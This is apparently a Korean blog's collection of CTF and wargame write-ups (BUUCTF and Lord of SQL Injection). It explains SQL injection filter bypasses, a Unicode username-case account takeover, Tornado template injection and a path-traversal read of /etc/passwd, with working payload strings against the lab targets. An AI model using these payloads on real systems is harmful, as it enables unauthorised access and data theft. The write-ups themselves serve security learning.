/change에 보면 주석으로 github 주소가 있다.

 

auditing gogo

 

 

register 함수

 

userinput인 username을 strlower()로 던져 그 결과를 가지고 if User.query.filter_by(username=name).first() 구문으로 중복 회원 검사를 한다.

 

 

비밀번호를 바꿀 수 있는 change() 함수.

 

여기도 마찬가지로 strlower로 name을 소문자로 만드는데, session에 박힌 name을 이용한다.

 

 

 

login() 함수

 

마찬가지로 strlower로 소문자화 후 이를 name에 저장한다.

 

 

 

정리하자면

 

register -> strlower(input_name) -> db_name

login -> strlower(input_name) -> session_name

change -> strlower(session_name) -> db_name(update)

 

오잉 change에서 이미 strlower가 된 user input name을 한번 더 strlower한다

 

 

그리고 python에선 아시는분들은 아시겠지만 string을 소문자화 하는 메서드는 string.lower()이다.

 

 

해당 소스코드에서 strlower가 커스텀으로 구현되어있는데 뭐 이상한 nodeprep.prepare를 사용한다고 한다.

 

찾아보면 뭐 유니코드 이슈가 있다고하는데 자세한건 첨부하기 귀찮고,

 

대충 파이썬으로 슥슥 코드짜서 nodeprep.prepare 함수에 대한 unicode fault를 전수조사 해보면 0xe1b4ac~0xe1b582가량까지 유니코드를 넣으면 영대문자가 나오는 것을 확인할 수 있다.

 

그럼 저 문자를 사용하여 가입을 하면

 

[register]

(user input) adᴹin -> adMin (db)

 

[login]

(user input) adᴹin -> adMin (session)

 

[change]

(session) adMin -> admin (db)

 

kia~~ 우리는 이제 admin의 비번을 바꿀 수 있다.

 

 

 

 

 

 

 

 

또 multiline sqli.

 

set @a='query';

prepare pstmt1 from @a;

execute pstmt1;

 

 

지난번엔 위에처럼 pstmt 가지고 풀었었는데 이번엔 아쉽게도 from과 '(%27)이 필터링이다.

 

한가지 특이한점은 어떤값을 넣어도 1이 나온다는 것이다.

 

이로 미루어보아

 

select $_GET["q"]||1 from Flag;

 

처럼 쿼리가 구성이 되어있지 않을까 유추해볼 수 있따

 

근데 찾아보니 이건 unintended라고 한다.

 

 

intended

 

예상 쿼리가 {input}||1이 아니라 {input}||flag였다고 하네?

 

1;set sql_mode=PIPES_AS_CONCAT;select 1

 

||를 concat으로 해석하게 하여 플래그를 출력한다는 것이당,,,

 

oracle에선 ||이 기본으로 concat이 되지만 mysql에선 or 와 동일하다. 이 모드를 바꿔주는것,,

 

 

 

 

 

'Web > BUUCTF' 카테고리의 다른 글

[BUUCTF] - [强网杯 2019]高明的黑客1  (0) 2020.02.14
[BUUCTF] - [HCTF 2018]admin1  (0) 2020.02.13
[BUUCTF] - [护网杯 2018]easy_tornado1  (0) 2020.02.13
[BUUCTF] - [强网杯 2019]随便注1  (0) 2020.02.12
[BUUCTF] - [HCTF 2018]WarmUp1  (2) 2020.02.11

흠, filename을 받고 filehash를 받는다.

hints.txt에는 md5로 해싱한 파일네임을 쿠키 시크릿이랑 또 해싱해서 파일해시를 구한다고 한다.

 

 

틀린 해시를 입력하면 `/error?msg=Error`로 넘어가게 된다.

 

여기서 좀 헤맸는데, msg 파라미터로 들어간 값이 response에 그대로 찍히는걸 보고 ssi나 ssti를 의심했어야 했다.

 

 

앗.. 빙고

 

ssti(server side template injeciton)이다.

 

근데 필터링이 좀 많다.

 

() [] + - * / _ 등 많은 특수문자가 필터링 되고 있다.

 

허,, 여기서도 한참 헤맸는데

 

문제이름이 easy_toranado인걸 착안해서 github에 tornado를 찾아보면

 

 

 

 

 

 

 

tornado라는 이름의 python으로 구현된 web server가 나온다.

 

 

 

여기서 cookie_secret을 찾아보면 

 

 

web.py에 create_signed_value()에 self.application.settings["cookie_secret"]을 설정해주고 있는것을 볼 수 있다.

 

소스코드를 보면 class RequestHandler의 설정값인 application.settings의 딕셔너리에 cookie_secret을 담고 있는것을 확인할 수 있다.

 

그리고 auth.py를 살펴보자

 

 

 

auth.py에도 cookie_secret이 존재하는데 위에 보면 아까 봤던 RequestHandler class를 'handler'라는 이름으로 할당해준것을 확인할 수 있따.

 

한마디로 self.application.settings를 살펴보려면 handler.application.settings.cookie_secret을 살펴보면 된다는 뜻.

 

근데 _(언더바)가 필터링이니 handler.application.settings 를 살펴보면 되시겠다.

 

 

나머진 ffffffflag인가 그 파일 md5 해시 맞춰주고 읽으면 끝

 

 

 

'Web > BUUCTF' 카테고리의 다른 글

[BUUCTF] - [强网杯 2019]高明的黑客1  (0) 2020.02.14
[BUUCTF] - [HCTF 2018]admin1  (0) 2020.02.13
[BUUCTF] - [SUCTF 2019]EasySQL1  (0) 2020.02.13
[BUUCTF] - [强网杯 2019]随便注1  (0) 2020.02.12
[BUUCTF] - [HCTF 2018]WarmUp1  (2) 2020.02.11

하.. 중국어라 번역이 잘 안돼서 좀 짜증나긴 하지만 그래도 괜찮다.

 

보이는가? 이 개발 번역이

 

허..

 

 

 

오 sqli..

 

 

오 필터링..

 

 

주요 문법들이 다 안된다.

 

 

만고의 sqli 삽질 끝에 뭔지 몰겠어서 찾아보니 아니 이럴수가..

 

 

앗... multi query라니..

 

존재만 알고 CTF나 문제로 한번도 나온적이 없어서 생각의 틀에 갇혀있었던 것 같다.

 

multi query에서 할 수 있는 공격은 찾아보니

 

preg_match로 필터링 하는것 중에 rename이 필터링 안되어 있어서

 

1. 현재 조회되고있는 테이블 명을 rename으로 tmp로 변경

2. flag가 담겨있는 테이블을 현재 조회되고있는 테이블명으로 변경

3. '||1# attack

 

이런 방법이 있었다.

 

근데 이보다 더 쉬운 방법이 있는데, mysql 자체에서 제공하는 prepared statement 기능을 이용하는 것이다.

 

출처 : mysqlkorea.com

 

 

 

'Web > BUUCTF' 카테고리의 다른 글

[BUUCTF] - [强网杯 2019]高明的黑客1  (0) 2020.02.14
[BUUCTF] - [HCTF 2018]admin1  (0) 2020.02.13
[BUUCTF] - [SUCTF 2019]EasySQL1  (0) 2020.02.13
[BUUCTF] - [护网杯 2018]easy_tornado1  (0) 2020.02.13
[BUUCTF] - [HCTF 2018]WarmUp1  (2) 2020.02.11

대망의 BUUCTF 라업 시작,,,

 

@posix의 소개로 중국 워게임 사이트를 알게 되었다.

 

본래 워게임 풀어도 귀찮아서 라업을 잘 안쓰는 나지만 CTF 분야 중 웹은 아카이빙 해둔 곳이 보기 드물기에 아주 반가운 사이트.

 

안그래도 워게임은 풀게 없고 CTF는 간헐적으로 열려서 굶주려있던 찰나에 잘된 것 같다.

 

앞에서부터 차례로 뿌시기 시작!!

 

다만 아직도 쓰기 귀찮은건 여전하니 간략히 내 기억을 remind 할 수 있을 정도로만 적고 넘어가겠다.

 

 

각설하고

 


 

왜인지 첫문제부터 난이도가 좀 있어서 당황했다. 1595명이나 solving 했다는데,, 역시 중국의 맨파워는 대단한건가

 

<?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?>

 

핵심은 $whitelist 로 source.php나 hint.php만 받고 몇가지 필터링을 통과하면 include로 LFI(Local File Inclusion)할 수 있는것.

 

나중에 알았는데 phpmyadmin에서 발생했던 1day 라고 하는것 같다.

 

보통 substr을 쓸텐데 mb_substr을 쓰고 urldecode -> mb_substr을 하는게 힌트라면 힌트.

 

 

 

?file=hint.php%253f/../../../../../../etc/passwd

 

LFI 성공!

'Web > BUUCTF' 카테고리의 다른 글

[BUUCTF] - [强网杯 2019]高明的黑客1  (0) 2020.02.14
[BUUCTF] - [HCTF 2018]admin1  (0) 2020.02.13
[BUUCTF] - [SUCTF 2019]EasySQL1  (0) 2020.02.13
[BUUCTF] - [护网杯 2018]easy_tornado1  (0) 2020.02.13
[BUUCTF] - [强网杯 2019]随便注1  (0) 2020.02.12

query : select id from prob_succubus where id='' and pw=''

<?php 
  
include "./config.php"
  
login_chk(); 
  
dbconnect(); 
  if(
preg_match('/prob|_|\.|\(\)/i'$_GET[id])) exit("No Hack ~_~"); 
  if(
preg_match('/prob|_|\.|\(\)/i'$_GET[pw])) exit("No Hack ~_~"); 
  if(
preg_match('/\'/i'$_GET[id])) exit("HeHe"); 
  if(
preg_match('/\'/i'$_GET[pw])) exit("HeHe"); 
  
$query "select id from prob_succubus where id='{$_GET[id]}' and pw='{$_GET[pw]}'"
  echo 
"<hr>query : <strong>{$query}</strong><hr><br>"
  
$result = @mysql_fetch_array(mysql_query($query)); 
  if(
$result['id']) solve("succubus"); 
  
highlight_file(__FILE__); 
?>



  if($result['id']) solve("succubus"); 


쿼리의 결과값이 뭐든 나오면 문제가 풀립니다. id와 pw필드에 싱글쿼터를 필터링하고 있습니다. 우리는 \(백슬래시)를 적절히 이용하여 이 문제를 해결할 수 있습니다. id 파라미터에 \를 넣게되면 id 필드를 닫는 싱글쿼터가 문자열로 인식되어 pw 필드를 여는 싱글쿼터까지(' and pw=') 문자열로 인식되게 됩니다. 이후 우리가 pw 파라미터에 넣어주는 값은 문자열로 인식되는 필드를 벗어나게 됩니다.


?id=\&pw=||1%23

payload












query : select id from prob_zombie_assassin where id='' and pw=''

<?php 
  
include "./config.php"
  
login_chk(); 
  
dbconnect(); 
  if(
preg_match('/\\\|prob|_|\.|\(\)/i'$_GET[id])) exit("No Hack ~_~"); 
  if(
preg_match('/\\\|prob|_|\.|\(\)/i'$_GET[pw])) exit("No Hack ~_~"); 
  if(@
ereg("'",$_GET[id])) exit("HeHe"); 
  if(@
ereg("'",$_GET[pw])) exit("HeHe"); 
  
$query "select id from prob_zombie_assassin where id='{$_GET[id]}' and pw='{$_GET[pw]}'"
  echo 
"<hr>query : <strong>{$query}</strong><hr><br>"
  
$result = @mysql_fetch_array(mysql_query($query)); 
  if(
$result['id']) solve("zombie_assassin"); 
  
highlight_file(__FILE__); 
?>



  if($result['id']) solve("zombie_assassin"); 


쿼리의 결과값 id 값이 뭐든 출력되면 문제가 풀립니다. 다만 id와 pw 파라미터에 싱글쿼터가 ereg 함수로 필터링되어있네요. ereg 함수는 널바이트까지 인식하여 해당 문자열을 비교합니다. 때문에 널바이트 이후에 필터링 대상 문자열을 넣으면 해당 문자열은 필터링하지 않습니다. 우리는 이를 이용하여 문제를 해결할 수 있습니다.



?id=%00'||1%23

payload








query : select id from prob_skeleton where id='guest' and pw='' and 1=0

<?php 
  
include "./config.php"
  
login_chk(); 
  
dbconnect(); 
  if(
preg_match('/prob|_|\.|\(\)/i'$_GET[pw])) exit("No Hack ~_~"); 
  
$query "select id from prob_skeleton where id='guest' and pw='{$_GET[pw]}' and 1=0"
  echo 
"<hr>query : <strong>{$query}</strong><hr><br>"
  
$result = @mysql_fetch_array(mysql_query($query)); 
  if(
$result['id'] == 'admin'solve("skeleton"); 
  
highlight_file(__FILE__); 
?>



  if($result['id'] == 'admin'solve("skeleton"); 


쿼리의 결과값 id가 admin이면 문제가 풀립니다. id는 guest로 고정되어있고 pw에 괄호를 필터링하고 있습니다. 기존에 사용하던 방법 그대로 문제를 해결할 수 있습니다.



?pw='||id='admin'%23

payload







query : select 1234 fromprob_giant where 1

<?php 
  
include "./config.php"
  
login_chk(); 
  
dbconnect(); 
  if(
strlen($_GET[shit])>1) exit("No Hack ~_~"); 
  if(
preg_match('/ |\n|\r|\t/i'$_GET[shit])) exit("HeHe"); 
  
$query "select 1234 from{$_GET[shit]}prob_giant where 1"
  echo 
"<hr>query : <strong>{$query}</strong><hr><br>"
  
$result = @mysql_fetch_array(mysql_query($query)); 
  if(
$result[1234]) solve("giant"); 
  
highlight_file(__FILE__); 
?>



  if($result[1234]) solve("giant"); 


 쿼리의 결과값이 뭐든 나오면 문제가 해결됩니다. 다만 from과 테이블명이 붙어있고, 그 사이에 get parameter로 받은 값을 넣게 되는데 1글자 이상 넣을 수 없고 캐리지리턴 라인피드 탭 문자는 필터링되고 있습니다. 이는 곧 white space 필터링을 우회하라는 말이 됩니다. white space는 %0a %0b %0c %0d %09 %20 등으로 사용할 수 있습니다.(자세한 내용은 los(lord of sql) level 13 - bugbear 참고)


?shit=%0b

payload










query : select id from prob_bugbear where id='guest' and pw='' and no=

<?php 
  
include "./config.php"
  
login_chk(); 
  
dbconnect(); 
  if(
preg_match('/prob|_|\.|\(\)/i'$_GET[no])) exit("No Hack ~_~"); 
  if(
preg_match('/\'/i'$_GET[pw])) exit("HeHe"); 
  if(
preg_match('/\'|substr|ascii|=|or|and| |like|0x/i'$_GET[no])) exit("HeHe"); 
  
$query "select id from prob_bugbear where id='guest' and pw='{$_GET[pw]}' and no={$_GET[no]}"
  echo 
"<hr>query : <strong>{$query}</strong><hr><br>"
  
$result = @mysql_fetch_array(mysql_query($query)); 
  if(
$result['id']) echo "<h2>Hello {$result[id]}</h2>"
   
  
$_GET[pw] = addslashes($_GET[pw]); 
  
$query "select pw from prob_bugbear where id='admin' and pw='{$_GET[pw]}'"
  
$result = @mysql_fetch_array(mysql_query($query)); 
  if((
$result['pw']) && ($result['pw'] == $_GET['pw'])) solve("bugbear"); 
  
highlight_file(__FILE__); 
?>



  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("bugbear"); 


이번에도 blind sqli 문제입니다. pw 파라미터에 싱글쿼터, no 파라미터에 substr, ascii, =(이퀄), or, and, white space(%20), like, 0x가 필터링 되어있습니다. 


whitespace 는 %0a, %0d 등으로, =와 like는 'in'으로, 0x는 0b 등으로 치환하여 페이로드를 구성할 수 있습니다.(자세한 내용은 웹해킹 SQLI 우회기법 정리 - Webhacking SQL Injection Bypass Honey Tips 참고)



?no=1||id%0ain("admin")%26%26hex(mid(pw,1,1))%0ain(41)%23

payload









+ Recent posts